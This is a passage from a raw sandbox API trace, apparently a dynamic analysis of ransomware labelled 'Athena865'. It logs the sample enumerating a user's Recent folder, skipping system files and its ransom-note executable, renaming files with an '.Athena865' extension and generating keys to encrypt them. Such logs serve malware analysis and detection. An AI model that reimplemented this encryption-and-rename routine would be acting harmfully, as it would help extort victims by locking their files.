(in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2604) returned 1 [0052.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.049] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.050] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.050] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.050] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.050] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.050] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.051] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.051] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.051] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.052] CloseHandle (hObject=0x154) returned 1 [0052.052] CloseHandle (hObject=0x17c) returned 1 [0052.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.053] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf87fc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaf87fc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaf87fc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x189b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="19X-QiT8i63EYh7.lnk", cAlternateFileName="19X-QI~1.LNK")) returned 1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2=".") returned 1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="..") returned 1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="windows") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="bootmgr") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="temp") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="pagefile.sys") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="boot") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="ids.txt") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="ntuser.dat") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="perflogs") returned -1 [0052.053] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2="MSBuild") returned -1 [0052.053] lstrlenW (lpString="19X-QiT8i63EYh7.lnk") returned 19 [0052.053] lstrcpyW (in: lpString1=0x241e8b4, lpString2="19X-QiT8i63EYh7.lnk" | out: lpString1="19X-QiT8i63EYh7.lnk") returned="19X-QiT8i63EYh7.lnk" [0052.053] lstrlenW (lpString="19X-QiT8i63EYh7.lnk") returned 19 [0052.053] lstrlenW (lpString="Athena865") returned 9 [0052.053] lstrcmpiW (lpString1="3EYh7.lnk", lpString2="Athena865") returned -1 [0052.053] lstrlenW (lpString=".dll") returned 4 [0052.054] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2=".dll") returned 1 [0052.054] lstrlenW (lpString=".lnk") returned 4 [0052.054] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2=".lnk") returned 1 [0052.054] lstrlenW (lpString=".ini") returned 4 [0052.054] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2=".ini") returned 1 [0052.054] lstrlenW (lpString=".sys") returned 4 [0052.054] lstrcmpiW (lpString1="19X-QiT8i63EYh7.lnk", lpString2=".sys") returned 1 [0052.054] lstrlenW (lpString="19X-QiT8i63EYh7.lnk") returned 19 [0052.054] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\19X-QiT8i63EYh7.lnk.Athena865") returned 83 [0052.054] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\19X-QiT8i63EYh7.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\19x-qit8i63eyh7.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\19X-QiT8i63EYh7.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\19x-qit8i63eyh7.lnk.athena865"), dwFlags=0x1) returned 1 [0052.055] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\19X-QiT8i63EYh7.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\19x-qit8i63eyh7.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.055] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6299) returned 1 [0052.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.055] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.056] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.056] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.056] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba0, lpName=0x0) returned 0x154 [0052.056] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba0) returned 0x100000 [0052.057] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.057] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.057] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.058] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.058] CloseHandle (hObject=0x154) returned 1 [0052.058] CloseHandle (hObject=0x17c) returned 1 [0052.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.059] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb20f7200, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb20f7200, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb20f7200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1RVMA-5c0shFPVx.lnk", cAlternateFileName="1RVMA-~1.LNK")) returned 1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2=".") returned 1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="..") returned 1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="windows") returned -1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="bootmgr") returned -1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="temp") returned -1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="pagefile.sys") returned -1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="boot") returned -1 [0052.059] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="ids.txt") returned -1 [0052.060] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="ntuser.dat") returned -1 [0052.060] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="perflogs") returned -1 [0052.060] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2="MSBuild") returned -1 [0052.060] lstrlenW (lpString="1RVMA-5c0shFPVx.lnk") returned 19 [0052.060] lstrcpyW (in: lpString1=0x241e8b4, lpString2="1RVMA-5c0shFPVx.lnk" | out: lpString1="1RVMA-5c0shFPVx.lnk") returned="1RVMA-5c0shFPVx.lnk" [0052.060] lstrlenW (lpString="1RVMA-5c0shFPVx.lnk") returned 19 [0052.060] lstrlenW (lpString="Athena865") returned 9 [0052.060] lstrcmpiW (lpString1="hFPVx.lnk", lpString2="Athena865") returned 1 [0052.060] lstrlenW (lpString=".dll") returned 4 [0052.060] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2=".dll") returned 1 [0052.060] lstrlenW (lpString=".lnk") returned 4 [0052.060] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2=".lnk") returned 1 [0052.060] lstrlenW (lpString=".ini") returned 4 [0052.060] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2=".ini") returned 1 [0052.060] lstrlenW (lpString=".sys") returned 4 [0052.060] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.lnk", lpString2=".sys") returned 1 [0052.060] lstrlenW (lpString="1RVMA-5c0shFPVx.lnk") returned 19 [0052.060] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\1RVMA-5c0shFPVx.lnk.Athena865") returned 83 [0052.060] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\1RVMA-5c0shFPVx.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\1rvma-5c0shfpvx.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\1RVMA-5c0shFPVx.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\1rvma-5c0shfpvx.lnk.athena865"), dwFlags=0x1) returned 1 [0052.061] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\1RVMA-5c0shFPVx.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\1rvma-5c0shfpvx.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.061] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2670) returned 1 [0052.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.061] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.061] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.062] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.062] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.062] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd70, lpName=0x0) returned 0x154 [0052.065] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd70) returned 0x100000 [0052.065] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.065] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.065] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.066] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.066] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.066] CloseHandle (hObject=0x154) returned 1 [0052.066] CloseHandle (hObject=0x17c) returned 1 [0052.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.067] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb06a1ea0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb06a1ea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb06a1ea0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23K6.lnk", cAlternateFileName="")) returned 1 [0052.067] lstrcmpiW (lpString1="23K6.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.067] lstrcmpiW (lpString1="23K6.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.067] lstrcmpiW (lpString1="23K6.lnk", lpString2=".") returned 1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="..") returned 1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="windows") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="bootmgr") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="temp") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="pagefile.sys") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="boot") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="ids.txt") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="ntuser.dat") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="perflogs") returned -1 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2="MSBuild") returned -1 [0052.068] lstrlenW (lpString="23K6.lnk") returned 8 [0052.068] lstrcpyW (in: lpString1=0x241e8b4, lpString2="23K6.lnk" | out: lpString1="23K6.lnk") returned="23K6.lnk" [0052.068] lstrlenW (lpString="23K6.lnk") returned 8 [0052.068] lstrlenW (lpString="Athena865") returned 9 [0052.068] lstrlenW (lpString=".dll") returned 4 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2=".dll") returned 1 [0052.068] lstrlenW (lpString=".lnk") returned 4 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2=".lnk") returned 1 [0052.068] lstrlenW (lpString=".ini") returned 4 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2=".ini") returned 1 [0052.068] lstrlenW (lpString=".sys") returned 4 [0052.068] lstrcmpiW (lpString1="23K6.lnk", lpString2=".sys") returned 1 [0052.068] lstrlenW (lpString="23K6.lnk") returned 8 [0052.068] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\23K6.lnk.Athena865") returned 72 [0052.068] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\23K6.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\23k6.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\23K6.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\23k6.lnk.athena865"), dwFlags=0x1) returned 1 [0052.069] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\23K6.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\23k6.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.069] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=976) returned 1 [0052.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.070] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.070] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.070] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.071] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x154 [0052.071] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0052.071] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.071] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.071] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.072] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.072] CloseHandle (hObject=0x154) returned 1 [0052.072] CloseHandle (hObject=0x17c) returned 1 [0052.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.074] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00faa60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb00faa60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb00faa60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2BPJ3u.mkv.lnk", cAlternateFileName="2BPJ3U~1.LNK")) returned 1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2=".") returned 1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="..") returned 1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="windows") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="bootmgr") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="temp") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="pagefile.sys") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="boot") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="ids.txt") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="ntuser.dat") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="perflogs") returned -1 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2="MSBuild") returned -1 [0052.074] lstrlenW (lpString="2BPJ3u.mkv.lnk") returned 14 [0052.074] lstrcpyW (in: lpString1=0x241e8b4, lpString2="2BPJ3u.mkv.lnk" | out: lpString1="2BPJ3u.mkv.lnk") returned="2BPJ3u.mkv.lnk" [0052.074] lstrlenW (lpString="2BPJ3u.mkv.lnk") returned 14 [0052.074] lstrlenW (lpString="Athena865") returned 9 [0052.074] lstrcmpiW (lpString1="u.mkv.lnk", lpString2="Athena865") returned 1 [0052.074] lstrlenW (lpString=".dll") returned 4 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2=".dll") returned 1 [0052.074] lstrlenW (lpString=".lnk") returned 4 [0052.074] lstrcmpiW (lpString1="2BPJ3u.mkv.lnk", lpString2=".lnk") returned 1 [0052.074] lstrlenW (lpString=".ini") returned 4 